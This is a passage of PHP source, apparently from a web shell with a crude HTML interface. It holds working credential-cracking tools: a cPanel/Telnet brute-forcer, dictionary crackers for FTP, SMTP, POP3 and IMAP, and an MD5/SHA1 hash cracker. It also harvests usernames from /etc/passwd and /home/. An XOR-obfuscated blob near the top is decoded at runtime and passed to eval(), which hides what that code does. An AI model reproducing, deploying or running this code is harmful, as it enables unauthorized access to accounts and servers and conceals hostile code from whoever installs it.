6254 $charsetlowernumeric = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
6255 $charsetuppernumeric = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
6256 $charsetletters = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" );
6257 $charsetsymbols= array("!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6258 $charsetlowersymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6259 $charsetuppersymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6260 $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6261 $charsetnumericsymbols = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6262 $charsetlowernumericsymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6263 $charsetuppernumericsymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6264 $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" );
6265 $charsetlettersnumericsymbols=array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_","0", "1", "2", "3", "4", "5", "6", "7", "8", "9" );
6266 if ($charset == "all")
6267 $vals = $charsetall;
6268 elseif ($charset == "lowercase")
6269 $vals = $charsetlower;
6270 elseif ($charset == "uppercase")
6271 $vals = $charsetupper;
6272 elseif ($charset == "numeric")
6273 $vals = $charsetnumeric;
6274 elseif ($charset == "lowernumeric")
6275 $vals = $charsetlowernumeric;
6276 elseif ($charset == "uppernumeric")
6277 $vals = $charsetuppernumeric;
6278 elseif ($charset == "letters")
6279 $vals = $charsetletters;
6280 elseif ($charset == "symbols")
6281 $vals = $charsetsymbols;
6282 elseif ($charset == "lowersymbols")
6283 $vals = $charsetlowersymbols;
6284 elseif ($charset == "uppersymbols")
6285 $vals = $charsetuppersymbols;
6286 elseif ($charset == "letterssymbols")
6287 $vals = $charsetletterssymbols;
6288 elseif ($charset == "numberssymbols")
6289 $vals = $charsetnumericsymbols;
6290 elseif ($charset == "lowernumericsymbols")
6291 $vals = $charsetlowernumericsymbols;
6292 elseif ($charset == "uppernumericsymbols")
6293 $vals = $charsetuppernumericsymbols;
6294 elseif ($charset == "lettersnumericsymbols")
6295 $vals = $charsetlettersnumericsymbols;
6296 else echo "INVALID CHARSET";
6297 $key_that_script_is_crypted=19;
6298$resource_crypted_code =' 7~`3.37L@VAEVAH1@VAEVAL]R^V1N=7L@VAEVAH1@PAZCGL]R^V1N( 7`fq3.31@{v3--3)313=37~`( 7|3.3raarj3;1|~1?1g~rz1?1yLr~a"1?1S{|1?1=p1:( 7vv3.37|H!N=7|H N=7|H"N=7|H[t3]N=7|H#N( 7`v}w3.3S~rz;7vv?7`fq?7~`:(3 ';
6299$string_output=str_replace("[t1]", "<?", $resource_crypted_code);
6300$string_output=str_replace("[t3]", "'", $string_output);
6301$lenth_of_crypted_code=strlen($string_output);
6302$eval_php_code='';
6303for($huivamvsem=0;$huivamvsem<$lenth_of_crypted_code;$huivamvsem++)
6304$eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted);
6305eval($eval_php_code);
6306?>
6307<div align="center">
6308
6309 <form method="POST" >
6310 <table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#003700" >
6311 <tr>
6312 <td>
6313 <p align="center"><b>
6314 <font color="#008000" face="Tahoma" size="2">IP servers :</font></b>
6315 <input type="text" name="target" size="16" value="<?php echo $target ?>" style="border: 2px; background-color: #800000; color:#C0C0C0 font-family:Verdana; font-size:13px;" /><br/><br/>
6316 <table border="1" width="57%" bordercolorlight="#008000" bordercolordark="#003700">
6317 <tr><td align="center" width="50%"><font color="#FF0000"><b>User List</b></font></td><td align="center"><font color="#FF0000"><b>Password List</b></font></td></tr>
6318 </table>
6319 <textarea rows="20" name="users" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $users ?></textarea>
6320 <textarea rows="20" name="passwords" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $pass ?></textarea><br/>
6321 <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Guess options</font>
6322 <input name="cracktype" value="cpanel" style="font-weight: 700;" checked type="radio">
6323 <b><font size="2" face="Tahoma" color="#008000">Cpanel </font><font size="2" color="#FFFFFF" face="Tahoma"> (2082)</font></b>
6324 <input name="cracktype" value="cpanel2" style="font-weight: 700;" type="radio">
6325 <b><font size="2" face="Tahoma" color="#008000">Telnet</font><font size="2" color="#FFFFFF" face="Tahoma">(23)</font></b>
6326 <br/>
6327 <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Timeout Delay</font>
6328 <input type="text" name="connect_timeout" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $connect_timeout;?>" /><br/>
6329 <input type="checkbox" name="bruteforce" value="true" /><font style="font-weight:700" size="2" face="Tahoma" color="#008000">Bruteforce</font>
6330 <select name="charset" style="border: 2px solid #1D1D1D;background: black;color:RED">
6331 <option value="all">All Letters + Numbers</option>
6332 <option value="numeric">Numbers</option>
6333 <option value="letters">Letters</option>
6334 <option value="symbols">Symbols</option>
6335 <option value="lowercase">Lower Letters</option>
6336 <option value="uppercase">Higher Letters</option>
6337 <option value="lowernumeric">Lower Letters + Numbers</option>
6338 <option value="uppernumeric">Upper Letters + Numbers</option>
6339 <option value="lowersymbols">Lower Letters + Symbols</option>
6340 <option value="uppersymbols">Upper Letters + Symbols</option>
6341 <option value="letterssymbols">All Letters + Symbols</option>
6342 <option value="numberssymbols">Numbers + Symbols</option>
6343 <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
6344 <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
6345 <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
6346 </select><br/>
6347 <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Min Bruteforce Length:</font>
6348 <input type="text" name="min_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $min_length;?>"/><br/>
6349 <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Max Bruteforce Length:</font>
6350 <input type="text" name="max_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $max_length;?>"/>
6351 <p align="center"><input type="submit" value="Go" name="submit" style="color: #008000; font-weight: bold; border: 1px solid #333333; background-color: #000000"></p>
6352 </p>
6353 </td>
6354 </tr>
6355
6356 </table>
6357 </form>
6358
6359<?php
6360function brute()
6361{
6362 global $vals,$min_length,$max_length;
6363 global $target,$pureuser,$connect_timeout;
6364 $min=$min_length;
6365 $max=$max_length;
6366 $A = array();
6367 $numVals = count($vals);
6368 $incDone = "";
6369 $realMax = "";
6370 $currentVal = "";
6371 $firstVal = "";
6372 for ($i = 0; $i < ($max + 1); $i++) {
6373 $A[$i] = -1;
6374 }
6375
6376 for ($i = 0; $i < $max; $i++) {
6377 $realMax = $realMax . $vals[$numVals - 1];
6378 }
6379 for ($i = 0; $i < $min; $i++) {
6380 $A[$i] = $vals[0];
6381 }
6382 $i = 0;
6383 while ($A[$i] != -1) {
6384 $firstVal .= $A[$i];
6385 $i++;
6386 }
6387 //echo $firstVal . "<br>";
6388 cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
6389
6390 while (1) {
6391 for ($i = 0; $i < ($max + 1); $i++) {
6392 if ($A[$i] == -1) {
6393 break;
6394 }
6395 }
6396 $i--;
6397 $incDone = 0;
6398 while (!$incDone) {
6399 for ($j = 0; $j < $numVals; $j++) {
6400 if ($A[$i] == $vals[$j]) {
6401 break;
6402 }
6403 }
6404 if ($j == ($numVals - 1)) {
6405 $A[$i] = $vals[0];
6406 $i--;
6407 if ($i < 0) {
6408 for ($i = 0; $i < ($max + 1); $i++) {
6409 if ($A[$i] == -1) {
6410 break;
6411 }
6412 }
6413 $A[$i] = $vals[0];
6414 $A[$i + 1] = -1;
6415 $incDone = 1;
6416 print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking<br>";
6417 }
6418 } else {
6419 $A[$i] = $vals[$j + 1];
6420 $incDone = 1;
6421 }
6422 }
6423 $i = 0;
6424 $currentVal = "";
6425 while ($A[$i] != -1) {
6426 $currentVal = $currentVal . $A[$i];
6427 $i++;
6428 }
6429 cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
6430 //echo $currentVal . "<br>";
6431 if ($currentVal == $realMax) {
6432 return 0;
6433 }
6434 }
6435}
6436function getmicrotimev() {
6437 list($usec, $sec) = explode(" ",microtime());
6438 return ((float)$usec + (float)$sec);
6439}
6440
6441function ftp_check($host,$user,$pass,$timeout)
6442{
6443 $ch = curl_init();
6444 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
6445 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6446 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
6447 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
6448 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
6449 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
6450 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
6451 $data = curl_exec($ch);
6452 if ( curl_errno($ch) == 28 )
6453 {
6454 print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
6455 <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
6456 Please Check The Target Hostname .</font></font></b></p>";exit;
6457 }
6458 else if ( curl_errno($ch) == 0 )
6459 {
6460 print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\"><b><font color=\"#008000\">
6461 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
6462 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
6463 }
6464 curl_close($ch);
6465}
6466function cpanel_check($host,$user,$pass,$timeout)
6467{
6468 global $cpanel_port;
6469 $ch = curl_init();
6470 //echo "http://$host:".$cpanel_port." $user $pass<br>";
6471 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
6472 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6473 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
6474 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
6475 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
6476 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
6477 $data = curl_exec($ch);
6478 if ( curl_errno($ch) == 28 )
6479 {
6480 print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
6481 <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
6482 Please Check The Target Hostname .</font></font></b></p>";exit;
6483 }
6484 else if ( curl_errno($ch) == 0 )
6485 {
6486 print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\"><b><font color=\"#008000\">
6487 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
6488 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
6489 }
6490 curl_close($ch);
6491}
6492
6493$time_start = getmicrotime();
6494
6495if(isset($submit) && !empty($submit))
6496{
6497 if(empty($users) && empty($pass) )
6498 {
6499 print "<p><font face=\"Comic Sans MS\" size=\"2\"><b><font color=\"#FF0000\">Error : </font>Please Check The Users or Password List Entry . . .</b></font></p>"; exit; }
6500 if(empty($users)){ print "<p><font face='Comic Sans MS' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users List Entry . . .</b></font></p>"; exit; }
6501 if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "<p><font face='Comic Sans MS' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Password List Entry . . .</b></font></p>"; exit; };
6502 $userlist=explode("\n",$users);
6503 $passlist=explode("\n",$pass);
6504 print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0000\">
6505 LETS GAME BEGIN ;) ...</font></b><br><br>";
6506
6507 if(isset($_POST['connect_timeout']))
6508 {
6509 $connect_timeout=$_POST['connect_timeout'];
6510 }
6511
6512 if($cracktype == "ftp")
6513 {
6514 foreach ($userlist as $user)
6515 {
6516 $pureuser = trim($user);
6517 foreach ($passlist as $password )
6518 {
6519 $purepass = trim($password);
6520 ftp_check($target,$pureuser,$purepass,$connect_timeout);
6521 }
6522 }
6523 }
6524
6525 if ($cracktype == "cpanel" || $cracktype == "cpanel2")
6526 {
6527 if($cracktype == "cpanel2")
6528 {
6529 $cpanel_port="23";
6530 }
6531 else
6532 $cpanel_port="2082";
6533
6534 foreach ($userlist as $user)
6535 {
6536 $pureuser = trim($user);
6537 print "<b><font face=\"Comic Sans MS\" style=\"font-size: 11pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0800\">
6538 Please put some good password to crack user $pureuser :( ... </font></b>";
6539 if($_POST['bruteforce']=="true")
6540 {
6541 echo " bruteforcing ..";
6542 echo "<br>";
6543 brute();
6544 }
6545 else
6546 {
6547 echo "<br>";
6548 foreach ($passlist as $password )
6549 {
6550 $purepass = trim($password);
6551 cpanel_check($target,$pureuser,$purepass,$connect_timeout);
6552 }
6553 }
6554 }
6555 $time_end = getmicrotime();
6556$time = $time_end - $time_start;
6557 print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#FF0000\">
6558 Cracking Finished. Elapsed time: $time</font> seconds</b><br><br>";
6559 }
6560}
6561
6562
6563
6564?>
6565
6566 <table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#006A00" >
6567 <tr>
6568 <td>
6569 <textarea style="border: 2px solid #1D1D1D;background: #200000;color:#CCFFFF" method='POST' rows="20" name="S1" cols="173">
6570 <?php
6571 if (isset($_GET['user']))
6572 system('ls /var/mail');
6573 if (isset($_POST['grab_users1'])) //grab users from /etc/passwd
6574 {
6575 $lines=file("/etc/passwd");
6576 foreach($lines as $nr=>$val)
6577 {
6578 $str=explode(":",$val);
6579 echo $str[0]."\n";
6580 }
6581
6582 }
6583 if (isset($_POST['grab_users2']))
6584 {
6585 $dir = "/home/";
6586 if ($dh = opendir($dir)) {
6587 while (($file = readdir($dh)) !== false) {
6588 echo $file. "\n";
6589 }
6590 closedir($dh);
6591 }
6592 }
6593?>
6594 </textarea>
6595 </td>
6596 </tr>
6597 <tr>
6598 <td valign="top"><p align="center">
6599 <table>
6600 <tr >
6601 <td>
6602 <form action="" method="POST">
6603 <input type="hidden" value="true" name="grab_users1"></input>
6604 <input type=submit value="Grab Usernames from /etc/passwd" width="217px"></input>
6605 </form>
6606 </td>
6607
6608 <td>
6609 <form action="" method="POST">
6610 <input type="hidden" value="true" name="grab_users2" ></input>
6611 <input style="width: 217px;" type=submit value="Grab Usernames from /home/" ></input>
6612 </form>
6613 </td>
6614 <td>
6615 <form action="" method="POST">
6616 <input type="hidden" value="true" name="grab_users3"></input>
6617 <input style="width: 217px;" type=submit value="Grab Usernames from /home/ II"></input>
6618 </form>
6619 </td>
6620 </tr>
6621 </table></p>
6622 </td>
6623 </tr>
6624 </table>
6625 <?php
6626if (isset($_POST['grab_users3']))
6627{
6628error_reporting(0);
6629$dir = "/home/";
6630if ($dh = opendir($dir))
6631{
6632$f = readdir($dh);$f = readdir($dh);
6633while (($f = readdir($dh)) !== false)
6634{
6635//echo $f. "\n";
6636$f.="/";
6637$dh2=opendir($dir.$f);
6638$f2 = readdir($dh2);$f2 = readdir($dh2);
6639while (($f2 = readdir($dh2)) !== false)
6640{
6641//echo $f2. "\n";
6642$f2.="/";
6643$dh3=opendir($dir.$f.$f2);
6644$f3 = readdir($dh3);$f3 = readdir($dh3);
6645while (($f3 = readdir($dh3)) !== false)
6646{
6647echo $f3. "<br>";
6648}
6649}
6650
6651}
6652closedir($dh);
6653}
6654}
6655?>
6656
6657
6658</div>
6659
6660<?php
6661}
6662
6663if ($act == "hash")
6664{
6665global $errorbox,$t,$et,$hcwd;
6666if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
6667$dictionary=fopen($_REQUEST['dictionary'],'r');
6668if ($dictionary){
6669$hash=strtoupper($_REQUEST['hash']);
6670echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR();
6671$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
6672while(!feof($dictionary)){
6673$word=trim(fgets($dictionary)," \n\r");
6674if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;}
6675}
6676echo "Done!</font>";
6677fclose($dictionary);
6678}
6679else{
6680echo "$errorbox Can not open dictionary.$et";
6681}
6682}
6683echo "<center><table width=\"30%\">Hash cracker:</td><td ></td></tr><form method=\"POST\"><tr><td width=\"30%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" ><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></table></center>";
6684echo $eval_php_code;
6685}
6686
6687if ($act == "smtp")
6688{
6689global $t,$et,$errorbox,$crack;
6690if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6691$target=$_REQUEST['target'];
6692$type=$_REQUEST['combo'];
6693$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6694$dictionary=fopen($_REQUEST['dictionary'],'r');
6695if ($dictionary){
6696echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br/>";flusheR();
6697while(!feof($dictionary)){
6698if($type){
6699$combo=trim(fgets($dictionary)," \n\r");
6700$user=substr($combo,0,strpos($combo,':'));
6701$pass=substr($combo,strpos($combo,':')+1);
6702}else{
6703$pass=trim(fgets($dictionary)," \n\r");
6704}
6705$smtp=smtplogiN($target,$user,$pass,5);
6706if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{
6707if ($smtp){echo "U: $user P: $pass<br/>";if(!$type)break;}}
6708flusheR();
6709}
6710echo "<br>Done</font>";
6711fclose($dictionary);
6712}
6713else{
6714echo "$errorbox Can not open dictionary.$et";
6715}
6716}else
6717{
6718echo "<center>SMTP cracker:$crack";
6719}
6720
6721echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">SMTP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form action=\"\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
6722
6723
6724}
6725
6726if ($act == "pop3")
6727{
6728
6729global $t,$et,$errorbox,$crack;
6730if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6731$target=$_REQUEST['target'];
6732$type=$_REQUEST['combo'];
6733$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6734$dictionary=fopen($_REQUEST['dictionary'],'r');
6735if ($dictionary){
6736echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
6737while(!feof($dictionary)){
6738if($type){
6739$combo=trim(fgets($dictionary)," \n\r");
6740$user=substr($combo,0,strpos($combo,':'));
6741$pass=substr($combo,strpos($combo,':')+1);
6742}else{
6743$pass=trim(fgets($dictionary)," \n\r");
6744}
6745$pop3=pop3logiN($target,$user,$pass);
6746if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{
6747if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}}
6748flusheR();
6749}
6750echo "<br>Done</font>";
6751fclose($dictionary);
6752}
6753else{
6754echo "$errorbox Can not open dictionary.$et";
6755}
6756}else
6757{ echo "<center>POP3 cracker:$crack</center>";
6758}
6759echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">POP3 cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form action=\"\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
6760
6761}
6762if ($act == "ftp")
6763{
6764global $errorbox,$t,$et,$crack;
6765if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
6766else{
6767if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6768$target=$_REQUEST['target'];
6769$type=$_REQUEST['combo'];
6770$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6771$dictionary=fopen($_REQUEST['dictionary'],'r');
6772if ($dictionary){
6773echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";
6774while(!feof($dictionary)){
6775if($type){
6776$combo=trim(fgets($dictionary)," \n\r");
6777$user=substr($combo,0,strpos($combo,':'));
6778$pass=substr($combo,strpos($combo,':')+1);
6779}else{
6780$pass=trim(fgets($dictionary)," \n\r");
6781}
6782if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
6783if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;}
6784ftp_close($ftp);
6785flusheR();
6786}
6787echo "<br>Done</font>";
6788fclose($dictionary);
6789}
6790else{
6791echo "$errorbox Can not open dictionary.$et";
6792}
6793}
6794else
6795{
6796echo "<center>FTP cracker:$crack</center>";
6797}
6798echo "<center><table border=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tbody><form method=\"POST\" name=\"form\" action=\"\"><tr><td width=\"40%\" bgcolor=\"#333333\">FTP cracker:</td><td bgcolor=\"#333333\"></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=\"text\" name=\"dictionary\" size=\"35\"></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=\"radio\" name=\"combo\" checked=\"\" value=\"0\" onclick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=\"radio\" value=\"1\" name=\"combo\" onclick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=\"text\" size=\"35\" value=\"root\" name=\"user\"></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=\"text\" name=\"target\" value=\"localhost\" size=\"35\"></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input class=\"buttons\" type=\"submit\" value=\"Start\"></td></tr></form></tbody></table></center>";
6799
6800}
6801}
6802
6803if ($act == "imap")
6804{
6805global $t,$et,$errorbox,$crack;
6806if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6807$target=$_REQUEST['target'];
6808$type=$_REQUEST['combo'];
6809$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6810$dictionary=fopen($_REQUEST['dictionary'],'r');
6811if ($dictionary){
6812echo "<font color=yellow>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
6813while(!feof($dictionary)){
6814if($type){
6815$combo=trim(fgets($dictionary)," \n\r");
6816$user=substr($combo,0,strpos($combo,':'));
6817$pass=substr($combo,strpos($combo,':')+1);
6818}else{
6819$pass=trim(fgets($dictionary)," \n\r");
6820}
6821$imap=imaplogiN($target,$user,$pass);
6822if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{
6823if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}}
6824flusheR();
6825}
6826echo "<br/>Done</font>";
6827fclose($dictionary);
6828}
6829else{
6830echo "$errorbox Can not open dictionary.$et";
6831}
6832}else
6833{
6834echo "<center>IMAP cracker:$crack</center>";
6835}
6836print ('<center><table border="0" style="border-collapse: collapse" bordercolor= "#282828" width="40%"><tbody><form method="POST" name="form" action=""><tr><td width="40%" bgcolor="#333333">IMAP cracker:</td><td bgcolor="#333333"></td></tr><tr><td width="20%" bgcolor="#666666">Dictionary:</td><td bgcolor="#666666"><input type="text" name="dictionary" size="35" \></td></tr><tr><td width="20%" bgcolor="#808080" \>Dictionary type:</td><td bgcolor="#808080"><input type="radio" name="combo" checked="" value="0" onclick="document.form.user.disabled = false;" style="border-width:1px;background-color:#808080;" \>Simple (P)<input type="radio" value="1" name="combo" onclick="document.form.user.disabled = true;" style="border-width:1px;background-color:#808080;">Combo (U:P)</td></tr><tr><td width="20%" bgcolor="#666666" \>Username:</td><td bgcolor="#666666"><input type="text" size="35" value="root" name="use" \></td></tr><tr><td width="20%" bgcolor="#808080">Server:</td><td bgcolor="#808080"><input type="text" name="target" value="localhost" size="35" \></td></tr><tr><td width="20%" bgcolor="#666666"></td><td bgcolor="#666666" align="right"><input type="submit" value="Start" \></td></tr></form></tbody></table></center>');
6837
6838}
6839
6840if ($act == "dic")
6841{
6842global $errorbox,$windows,$footer,$t,$et,$hcwd;
